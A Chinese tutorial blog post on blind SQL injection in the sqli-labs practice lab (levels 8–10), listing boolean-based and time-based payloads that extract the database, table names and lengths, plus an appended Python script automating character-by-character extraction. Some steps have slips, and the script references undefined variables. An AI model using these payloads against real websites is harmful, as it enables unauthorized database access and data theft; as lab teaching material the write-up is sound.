sqli—labs(8到10关)盲注

本文介绍了SQL盲注,它是在不知数据库返回值时猜测数据内容实施注入,分为布尔盲注、基于时间的盲注和报错的盲注。以Less - 8、Less - 9、Less - 10为例,详细讲解了布尔型单引号盲注、基于时间的GET单引号盲注和双引号盲注的方法,还涉及MySQL相关函数的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

Less—8(布尔型单引号盲注)
方法:布尔型盲注
在网页中打开
在这里插入图片描述
没有任何提示,因为它把错误信息隐藏了,所以并不能用基于错误的注入,只能用盲注。

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0.
1,先得到数据库名的长度
输入?id=1' and length(database())=1%23

在这里插入图片描述没有成功显示,于是试了2,3,4,5,6,7,直到8,它成功显示了,说明数据库名的长度为8,即有8个字母
在这里插入图片描述

2,现在我们猜数据库名的第一个字母
输入?id=1" and ascii(substr((select database()),1,1))>114 %23
在这里插入图片描述可见数据库名的第一个字母的ascii码值大于114,接下来我们再试试115
在这里插入图片描述显示错误,所以可以推断第一个字母为 s ,然后依次进行下去就可以猜取数据库名为security

或者还可以输入?id=1' and left(database(),1)='s' %23

在这里插入图片描述成功显示,所以数据库名的第一个字母为 s
在这里插入图片描述3.获取数据库中表的数目

输入1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23
依次让它等于1,2,3一直显示不成功,直到4,显示成功,则数据库中有四个表

4,挨个猜表名
先猜第一个表的长度
输入?id=1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6%23
成功显示,则第一个表的长度为6
猜第二个表的长度
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8%23
成功显示,则第二个表的长度为8
猜第三个表的长度
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1))=7%23
成功显示,则第三个表的长度为7
猜第四个表的长度?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1))=5%23
成功显示,则第四个表的长度为5

enmmmmmmm,想了想还是放张截图上来,其实每个表的长度都要试好几个数字,我在这里只展示了自己试成功的结果。
在这里插入图片描述得到每个表的长度后,开始猜表名,(以猜第四个表为例)

输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>97 %23
成功显示
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<122%23
成功显示
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<109%23
显示失败
输入?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>109%23
成功显示
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<115%23
显示失败
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))<119%23
成功显示
输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117%23
在这里插入图片描述
成功显示,则第四个表的第一个字母为u,依次进行下去,可得表名分别为emails,referers,uagents,users

5.获取表里的列名

先获取表里有几个列(以 users 表为例)
在这里插入图片描述可以发现users表里有26个列,总感觉哪里不太对

下面来获取第一列的列名的长度

Less-9 (基于时间的GET单引号盲注)
无论输入甚麽,都显示 You are in…
在这里插入图片描述
1,输入?id=1' and sleep(3)%23

输入id=1时,发现延迟,说明注入成功

2,输入?id=1'and if(length(database())=8,sleep(6),1)%23

明显延迟,说明数据库长度为8

3,继续爆破
?id=1'and if (left(database(),1)='s',sleep(6),1)%23
?id=1'and if (right(database(),1)='y',sleep(6),1)%23
发现均有延迟,则第一个字母为s,最后一个字母为y
输入
?id=1'and if (left(database(),2)='se',sleep(6),1)%23
?id=1'and if (left(database(),8)='security',sleep(6),1)%23
说明数据库名为security
4,
输入?id=1'and if (left((select table_name from information_schema.tables where table_schema=database() limit3,1),1)='u',sleep(6),1)%23
Less-10(基于时间的双引号盲注)
与第9关一样,不过是把单引号换成双引号

### SQL入实验环境中的布尔攻击 布尔是一种通过观察应用程序响应来推断数据内容的方法。对于SQLi-Labs10,目标是在不知道具体错误消息的情况下利用布尔条件判断语句执行情况。 #### 利用流程 为了实现这一目的,可以构建如下查询结构: ```sql ' AND (SELECT ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),1,1))) > 97 -- ``` 此查询尝试逐字符猜测表第一个字母ASCII码值是否大于给定数值。如果返回页面正常,则表示条件成立;反之则不成立。以此类推逐步缩小范围直至确定确切字符[^1]。 接着按照相同逻辑继续获取后续各位置上的字符直到完整还原整个字符串为止。需要意的是,在实际操作过程中应当调整`LIMIT`参数以及起始偏移量以遍历多个记录项。 此外还可以采用二分查找算法优化效率,即每次测试中间值从而快速定位到正确答案区间内。 #### Python脚本实例 下面是一个简单的Python脚本来自动化上述过程: ```python import requests def check(payload): url = "http://localhost/sqli/Less-10/?id=1" params = {'id': payload} response = requests.get(url, params=params) # 假设当存在漏洞时网页会显示不同内容长度 return len(response.text) != normal_length target_string = "" for i in range(1, max_length + 1): low, high = 32, 126 while low <= high: mid = int((low + high)/2) payload = f"1' AND ASCII(SUBSTR((SELECT @@version),{i},1))>{mid} -- " if check(payload): low = mid + 1 else: high = mid - 1 target_string += chr(low) print(f"The extracted string is {target_string}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值